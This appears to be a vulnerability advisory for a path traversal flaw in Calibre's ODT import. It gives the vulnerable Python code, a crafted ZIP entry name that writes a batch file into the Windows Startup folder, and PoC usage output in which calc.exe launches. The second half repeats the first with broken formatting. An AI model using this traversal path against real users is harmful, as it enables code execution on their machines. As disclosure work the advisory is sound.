Summary
Calibre's ODT reader contains a path traversal vulnerability that allows arbitrary file writes anywhere the user has write permissions. On Windows, this leads to Remote Code Execution by writing a payload to the Startup folder, which executes on next login.
Details
Confirmed on: Calibre 9.2.1, Windows 11 (x64)
Trigger: Converting a malicious ODT file via GUI ("Convert books")
Affected Component: src/calibre/ebooks/odt/input.py
Vulnerable Code (Lines 28-35):
def extract_pictures(self, zf):
if not os.path.exists('Pictures'):
os.makedirs('Pictures')
for name in zf.namelist(): # ATTACKER CONTROLLED
if name.startswith('Pictures') and name not in {'Pictures', 'Pictures/'}:
data = zf.read(name)
with open(name, 'wb') as f: # PATH TRAVERSAL
f.write(data) # ARBITRARY FILE WRITE
Only checks startswith('Pictures'), does not sanitize .. sequences. Calibre's own ZipFile.extractall() in utils/zipfile.py does sanitize .. via _get_targetpath(), but extract_pictures() bypasses this by using manual zf.read() + open().
Attack Flow:
- Malicious ODT (which is a ZIP) contains entry:
Pictures/../../../../../Roaming/Microsoft/Windows/STARTM~1/Programs/Startup/rce.bat
zf.namelist() returns this name with .. intact
name.startswith('Pictures') passes
open(name, 'wb') resolves .. traversal, writes to Startup folder
- Payload executes on next Windows login
PoC:
> python3 create_poc.py
[+] poc.odt
# Convert via GUI "Convert books"
> dir "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
rce.bat
# Reboot → calc.exe launches automatically
Proof Files:
create_poc.py — Standalone PoC generator
create_poc.py
Summary
Calibre's ODT reader contains a path traversal vulnerability that allows arbitrary file writes anywhere the user has write permissions. On Windows, this leads to Remote Code Execution by writing a payload to the Startup folder, which executes on next login.
Details
Confirmed on: Calibre 9.2.1, Windows 11 (x64)
Trigger: Converting a malicious ODT file via GUI ("Convert books")
Affected Component:
src/calibre/ebooks/odt/input.pyVulnerable Code (Lines 28-35):
Only checks
startswith('Pictures'), does not sanitize..sequences. Calibre's ownZipFile.extractall()inutils/zipfile.pydoes sanitize..via_get_targetpath(), butextract_pictures()bypasses this by using manualzf.read()+open().Attack Flow:
Pictures/../../../../../Roaming/Microsoft/Windows/STARTM~1/Programs/Startup/rce.batzf.namelist()returns this name with..intactname.startswith('Pictures')passesopen(name, 'wb')resolves..traversal, writes to Startup folderPoC:
Proof Files:
create_poc.py— Standalone PoC generatorcreate_poc.py